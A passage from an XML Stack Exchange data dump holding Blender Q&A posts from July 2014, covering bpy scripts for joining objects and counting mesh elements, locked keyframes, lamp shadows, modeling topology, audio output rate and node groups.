href=&quot;https://blender.stackexchange.com/questions/1879/is-it-possible-to-dump-an-objects-properties-and-methods&quot;&gt;Is it possible to dump an Objects Properties and Methods?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/12266/where-can-the-latest-api-documentation-be-found&quot;&gt;Where can the latest API documentation be found?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-07-12T14:00:25.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13989" PostTypeId="2" ParentId="13986" CreationDate="2014-07-12T14:08:59.360" Score="8" Body="&lt;p&gt;To join an object you must have one object as the active object. If there is no active object selected it will not work. Try setting one object as the selected object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.data.objects[&quot;Cube&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-07-12T14:08:59.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13990" PostTypeId="2" ParentId="13986" CreationDate="2014-07-12T14:18:26.067" Score="5" Body="&lt;p&gt;A full script for later reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in bpy.context.scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        ob.select = True&#xA;        bpy.context.scene.objects.active = ob&#xA;    else:&#xA;        ob.select = False&#xA;bpy.ops.object.join()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-12T14:18:26.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13991" PostTypeId="2" ParentId="13986" CreationDate="2014-07-12T14:30:57.690" Score="24" Body="&lt;p&gt;If you don't want to change the real selection states, you may wanna use an override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;obs = []&#xA;for ob in scene.objects:&#xA;    # whatever objects you want to join...&#xA;    if ob.type == 'MESH':&#xA;        obs.append(ob)&#xA;&#xA;ctx = bpy.context.copy()&#xA;&#xA;# one of the objects to join&#xA;ctx['active_object'] = obs[0]&#xA;&#xA;ctx['selected_objects'] = obs&#xA;# In Blender 2.8x this needs to be the following instead:&#xA;#ctx['selected_editable_objects'] = obs&#xA;&#xA;# We need the scene bases as well for joining.&#xA;# Remove this line in Blender &amp;gt;= 2.80!&#xA;ctx['selected_editable_bases'] = [scene.object_bases[ob.name] for ob in obs]&#xA;&#xA;bpy.ops.object.join(ctx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2020-03-18T22:57:14.890" LastActivityDate="2020-03-18T22:57:14.890" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="13992" PostTypeId="1" AcceptedAnswerId="13993" CreationDate="2014-07-12T14:31:47.937" Score="1" ViewCount="364" Body="&lt;p&gt;I have a situation where selected keyframes can't be deleted what could cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFA2o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/30357&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-12T14:58:40.003" Title="What could disable keyframes?" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13993" PostTypeId="2" ParentId="13992" CreationDate="2014-07-12T14:58:40.003" Score="4" Body="&lt;p&gt;You have set your keyframes to be 'Protected'. Click the padlock icon next to the 'Rotation' channel to unlock the keyframes so they can be edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZL4U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-07-12T14:58:40.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13994" PostTypeId="2" ParentId="13979" CreationDate="2014-07-12T15:36:46.790" Score="1" Body="&lt;p&gt;What he his doing there is &lt;strong&gt;enabling an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/strong&gt;&lt;/a&gt;. Do do this hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;, or &lt;em&gt;File&gt;User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JLhqx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you are in the user preferences. Go to the addons tab. Next you will need to install the addon. Click &lt;em&gt;Install from File&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCGCA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the addons .zip or .py, and select it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final thing to do is to select the checkbox. &lt;strong&gt;If&lt;/strong&gt; you want the addon to be installed when you create a new project, click &lt;em&gt;Save User Settings&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-10T14:32:00.457" LastActivityDate="2014-08-10T14:32:00.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="1" AcceptedAnswerId="13997" CreationDate="2014-07-12T15:44:40.913" Score="1" ViewCount="1530" Body="&lt;p&gt;Situation: I'm creating an ocean scene. I have an ocean with reflecting material. Therefore, I used a picture on a plane as to have the background image reflected on the ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: However, a sun lamp doesn't seem to work when rendered with the background plane. When I just rendered the sun lamp and the ocean, the ocean is lighted. However, with the background image rendered, the sun lamp doesn't seem to show up. (I had tried increasing intensity and changing color to bright purple first). How could I have the lamp reflected on the ocean together with the background plane on the scene?&#xA;Here's the &lt;a href=&quot;http://www.pasteall.org/blend/30358&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V0qtm.png&quot; alt=&quot;Rendering only ocean and light&quot;&gt;&#xA;Rendering only ocean and light&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vzydt.png&quot; alt=&quot;Rendering with ocean, light, and background image (there should be a purple light, but it doesn&amp;#39;t show)&quot;&gt;&#xA;Rendering with ocean, light, and background image (there should be a purple light, but it doesn't show)&lt;/p&gt;&#xA;" OwnerUserId="5110" LastActivityDate="2014-07-12T16:38:51.303" Title="Sun Lamp doesn't show when background lighting is used" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="1" CreationDate="2014-07-12T16:10:37.970" Score="0" ViewCount="130" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;I figured it out&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I do have a follow up question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I answered my own question. If you have images or footage loaded into the Video Sequence Editor, it will only render the frames from that footage. There may be a way to circumvent this, but I don't know how to do that. At any rate, the frame I wanted to render was past the footage, so it rendered a blank frame. As far as I know, I have to get the footage out of the Video Sequencer in order to render the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this answer when I went to find a backup of this file and the backup file opened to the Video Sequencing preset and I remembered this little tick. If someone knows how to circumvent this problem so I don't have to delete the footage, that would be great.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Original post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked around to see if this question has already been asked and one fellow had the exact same issue, but was scolded for being too vague and the question was closed. I could understand his question and know his predicament and can only hope I can be specific enough here to ask the same question. I have a good bit of time invested in this blend file and I hope I won't have to redo it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here's the situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I have a blend file with a lot of objects, materials, and textures, including two character rigs. I have a blocking run saved in the Action Editor of the Dopesheet and would like to render one of the key frames from it to act as a reference in another scene I'm setting up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I have tried to render a single image file from this scene a) by selecting the Render Image selection from the Render menu in the 3D Viewport, b) by clicking the Image Render icon in the Render tab of the Object Properties window, and 3) by hitting the F12 button on my Macbook keyboard. None of these produce the result I'm looking for:  a single image of the keyframe from the scene in this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I have tried to render the single image in versions 2.661 and 2.71 of Blender as indicated in #2 and have achieved no different result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The problem seems only to be with this file and no others that I checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) I closed all applications on my computer and rebooted. No change with this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) I have not had this issue with this file before. I do not have this issue with other files with the same scene (i.e., as described above with multiple objects, etc. -- same scene, shots are in different blend files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) The result I get (see link below for screenshot) the gray and white checkerboard that shows while an image is rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Screen I get when I try to render a single image file (&lt;a href=&quot;https://www.facebook.com/photo.php?fbid=10204159710010120&amp;amp;set=a.10204159709770114.1073741843.1147304074&amp;amp;type=3&amp;amp;theater&quot; rel=&quot;nofollow&quot;&gt;https://www.facebook.com/photo.php?fbid=10204159710010120&amp;amp;set=a.10204159709770114.1073741843.1147304074&amp;amp;type=3&amp;amp;theater&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Recently, I read a post in Blenderguru that made suggestions about changing settings in the Light Paths and Performance tabs to reduce render times. I made these changes in this particular file and other files. I have not had this same problem in the other files. In those files I can render the image with no problem. See link below for screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light Path and Performance tabs in the Render Panel of the Object Properties window. (&lt;a href=&quot;https://www.facebook.com/photo.php?fbid=10204159725450506&amp;amp;set=a.10204159709770114.1073741843.1147304074&amp;amp;type=3&amp;amp;theater&quot; rel=&quot;nofollow&quot;&gt;https://www.facebook.com/photo.php?fbid=10204159725450506&amp;amp;set=a.10204159709770114.1073741843.1147304074&amp;amp;type=3&amp;amp;theater&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) I recently installed Blender 2.71. I still have 2.661, so I tried the files in both versions of Blender. My other files will render, but the one in question won't. I get the result explained above. I have also tried to render it in the Blender Internal Engine -- same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) I have tried to look over settings in the Render panel of the Object Properties window and in the User Preferences. I am not an expert user of Blender or a computer programmer, so most of the options are Greek to me. If I accidentally changed settings, I don't know which ones those would be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) If I can't find a solution, I will have to redo the 5 hours of blocking I already put into this, a scene I am quite happy with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to be thorough and specific. If I haven't been, so be it. I really appreciate it if someone knows what I could do to fix this or has any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="5177" LastEditorUserId="1363" LastEditDate="2014-07-12T20:48:31.717" LastActivityDate="2014-07-13T11:55:14.773" Title="Single Image Render Fail -- cycles and internal Blender 2.71 and 2.66" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;image&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ClosedDate="2014-07-19T07:20:21.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="13997" PostTypeId="2" ParentId="13995" CreationDate="2014-07-12T16:38:51.303" Score="2" Body="&lt;p&gt;Your plane is &lt;strong&gt;casting a shadow&lt;/strong&gt;. moving the sun lamp will not help since unlike point, the sun lamp casts global lighting. To fix this, move your sun into the same layer as the water and select &lt;em&gt;This Layer Only&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-12T16:38:51.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14000" PostTypeId="1" CreationDate="2014-07-12T18:18:59.913" Score="3" ViewCount="7536" Body="&lt;p&gt;So far I have written the following code. I am super new to python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class polygon(object):&#xA;    def__init__(self, edge, face, vertex='')&#xA;        self.edge = edge&#xA;        self.face = face&#xA;        self.vertex = vertex&#xA;        self.tetrahedron = tetrahedron&#xA;&#xA;a = polygon('6', '4', '4', tetrahedron)&#xA;print a.edge, a.face, a.vertex, a.tetrahedron&#xA;print a  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also How can find the mesh module in Python? I am using spyder and I cant find it in the library.  Please help if anyone can.&lt;/p&gt;&#xA;" OwnerUserId="5184" LastEditorUserId="1363" LastEditDate="2014-07-12T19:39:06.517" LastActivityDate="2014-07-12T19:39:06.517" Title="How to output the number of vertices, edges and faces given a polygon with Python?" Tags="&lt;python&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14001" PostTypeId="1" AcceptedAnswerId="14005" CreationDate="2014-07-12T18:45:11.583" Score="1" ViewCount="580" Body="&lt;p&gt;The following file&#xA;&lt;a href=&quot;https://www.dropbox.com/s/dpwqgv2brfgzstg/PathPrefab5.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/dpwqgv2brfgzstg/PathPrefab5.blend&lt;/a&gt; is part of a project I'm working on.&lt;/p&gt;&#xA;&lt;p&gt;I tried to make a curved mesh by extracting faces from a cylinder, and extruding the extracted faces, constraining the z axis, to give the mesh depth. But the cubes resulting from the extrusion collide with each other. How can I create this without the meshes colliding?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeRzi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5185" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-12T22:28:10.580" Title="Object with faces that intersect adjacent faces" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="2" ParentId="7546" CreationDate="2014-07-12T18:54:51.377" Score="0" Body="&lt;p&gt;Check to make sure that the setting for your modifiers are the same for view and render. If, for example, you have a subsurf modifier set at 1 for view and 3 for render, it will throw your hair wild. You probably want to keep the render value the same, but if you set your subsurf view option to 3, it will slow down your machine. I'm trying to figure out now how I will work with a high-res mesh and a low-res mesh with the high res set to invisible. I know this is doable, but it introduces some complexities.&lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2014-07-12T18:54:51.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14003" PostTypeId="2" ParentId="8224" CreationDate="2014-07-12T18:59:10.793" Score="1" Body="&lt;p&gt;The simpliest way (and only one known to me) is to go to &quot;user prefernces-editing&quot; and in &quot;Duplicate data&quot; uncheck the &quot;Metaball&quot;. Then duplicate problematic meshes. Duplicates shoudn't have these problems.&lt;/p&gt;&#xA;" OwnerUserId="5186" LastActivityDate="2014-07-12T18:59:10.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="2" ParentId="14000" CreationDate="2014-07-12T19:20:58.470" Score="6" Body="&lt;p&gt;You can get the active object for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And get its data (if it's a mesh object, the mesh datablock):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me = ob.data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mesh element counts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;len(me.vertices)&#xA;len(me.edges)&#xA;len(me.polygons) # faces&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vertex count of a single face:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;len(me.polygons[0].vertices)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-07-12T19:38:42.127" LastActivityDate="2014-07-12T19:38:42.127" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14005" PostTypeId="2" ParentId="14001" CreationDate="2014-07-12T19:24:16.690" Score="2" Body="&lt;p&gt;For that particular example, you could merge near vertices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove doubles (&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove doubles&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase merge distance (&lt;kbd&gt;F6&lt;/kbd&gt;&lt;em&gt;&gt; Merge distance&lt;/em&gt;) until the adjacent vertices are all merged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you do that, you will still have internal faces. To get rid of them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Interior faces&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Select&lt;/em&gt; to select internal faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete them (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Faces&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-12T19:24:16.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14006" PostTypeId="1" AcceptedAnswerId="14012" CreationDate="2014-07-12T20:37:01.600" Score="3" ViewCount="307" Body="&lt;p&gt;Very noob question, I know, but I can't find the answer on Google or in the manual. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm editing a movie file in the VSE, and nothing else. When I want to render it out, the audio is at 44.1kHz, and I'd like it to be 48kHz. I can't find the setting for that anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The audio I've imported is already at 48kHz.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="5187" LastEditorUserId="228" LastEditDate="2017-06-09T15:48:27.467" LastActivityDate="2017-06-09T15:48:27.467" Title="How can I output audio at 48khz?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14007" PostTypeId="2" ParentId="14001" CreationDate="2014-07-12T21:16:45.973" Score="1" Body="&lt;p&gt;If all you want is to make some faces thicker, you can use a solidify modifier&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BQhZq.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wbSID.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U8Bz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-07-12T21:16:45.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14008" PostTypeId="2" ParentId="14001" CreationDate="2014-07-12T21:36:41.030" Score="0" Body="&lt;p&gt;From your reputation, I see you are new to Blender Stack Exchange. Although I've no official capacity to do so, let me welcome you to the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded and studied your original blend file, and found that the faces you originally obtained from the cylinder were not connected. By extruding these faces you would up extruding each of the cubes separately. Extracting the faces from the cylinder so that they were connected, or failing that, connecting the faces using the method Gandalf3 suggested, and then extruding would have eliminated the collision of the resulting cubes, although you would still have been left with interior faces. However, if you had switched to edge select mode, and selected the perimeter edges all around the set of faces, and extruded from that, you could have then used the Grid Fill tool to avoid the interior faces, too. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-12T21:36:41.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="1" AcceptedAnswerId="14015" CreationDate="2014-07-12T22:45:22.730" Score="9" ViewCount="1596" Body="&lt;p&gt;On models with a lot of holes/protrusions and other details which require extra loopcuts, how can I keep those loopcuts from having a large effect on other parts of my model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to keep this edge smooth like it is now, but there are some unwanted subsurfing of the inner corner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/En67N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a loopcut to fix it, it adds a bump in the nice outer curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sumSx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way sharpen up the inner corner without messing up the nice outer curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IrVbm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried mean crease, but it causes a lot of distortion and too-sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/30364&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the example .blend&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another example of a similar problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1flMQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-13T00:01:40.093" LastActivityDate="2014-12-03T02:26:44.190" Title="How to maintain smooth curves on meshes with lots of uneven loopcuts?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14010" PostTypeId="2" ParentId="14009" CreationDate="2014-07-12T22:57:27.193" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udIq3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This one creates the extra loop cut, but adds a triangle to your mesh. Although triangles are considered bad, sometimes they are unavoidable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Vo8O.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Here a slightly different example, which moves the triangle to the face on the side, making it smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these examples are not perfect... perfection might just be impossible in this case. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-12T22:57:27.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14011" PostTypeId="2" ParentId="14009" CreationDate="2014-07-13T00:05:14.293" Score="0" Body="&lt;p&gt;What I'd try is to make the loop cuts as in your second illustration (the one with the frownie face), then use Vertex slide to move the pair of vertices causing the unacceptable bump towards the middle of that segment of the mesh, until the bump disappears. This would leave the mesh with all quads.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-13T00:05:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14012" PostTypeId="2" ParentId="14006" CreationDate="2014-07-13T02:12:19.007" Score="4" Body="&lt;p&gt;In the 'Scene' buttons, there is an Audio Panel. It has a &lt;strong&gt;Format:&lt;/strong&gt; label, under which you can adjust the &lt;strong&gt;Channel count&lt;/strong&gt; and &lt;strong&gt;Rate&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can render Audio from the render panel (also known as &lt;strong&gt;Mixdown&lt;/strong&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-13T02:12:19.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14013" PostTypeId="2" ParentId="14009" CreationDate="2014-07-13T04:06:00.123" Score="0" Body="&lt;p&gt;You can add an edge split modifier and specify the angle for sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more control, uncheck 'Edge Angle' and check 'Sharp Edges'. Then in edit mode select the edges you want and hit Control+E and select 'Mark Sharp'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is 'Edge Crease', select the edges and hit Shift+E in edit mode. the range is -1;+1. +1 is the sharpest, 0 no changes and -1 removes Creases.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2014-07-13T04:06:00.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14014" PostTypeId="1" AcceptedAnswerId="14016" CreationDate="2014-07-13T05:46:06.863" Score="1" ViewCount="110" Body="&lt;p&gt;I have three spheres that overlap to form an eyeball shape and the seams looks terrible. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvcuA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5189" LastActivityDate="2014-07-13T06:40:36.123" Title="Smoothing overlapping spheres" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14015" PostTypeId="2" ParentId="14009" CreationDate="2014-07-13T05:54:46.023" Score="6" Body="&lt;p&gt;IMHO, it is hardly possible to keep that curve exactly the same as what it is after adding support loop, unless you take GiantCowFilms' second way, though it will bring new problem for subdivision. However, you can make the difference unnoticeable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nL3yo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either do this by sliding &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; on each side; or, select both sides, then &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;strong&gt;Smooth&lt;/strong&gt;, tweak levels and axes in &lt;kbd&gt;F6&lt;/kbd&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-07-13T06:47:49.733" LastActivityDate="2014-07-13T06:47:49.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14016" PostTypeId="2" ParentId="14014" CreationDate="2014-07-13T06:40:36.123" Score="1" Body="&lt;p&gt;Instead of using three separate spheres, use one sphere and extrude it (&lt;kbd&gt;E&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11Egx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-13T06:40:36.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14017" PostTypeId="1" AcceptedAnswerId="14018" CreationDate="2014-07-13T07:08:54.680" Score="4" ViewCount="804" Body="&lt;p&gt;I am creating a lens flare for my scene using the node editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finished setting up all the nodes and had a final render which looks ok. However, when I tried to group it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;), all the nodes being grouped turned red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my first time trying to group nodes so I'm not sure if it's normal that all the nodes turned red. Moreover all the nodes that is under the group doesn't work when being rendered! the nodes no longer work after I grouped them. How could I fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;a href=&quot;http://www.pasteall.org/blend/30366&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFlhe.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YjcdE.png&quot; 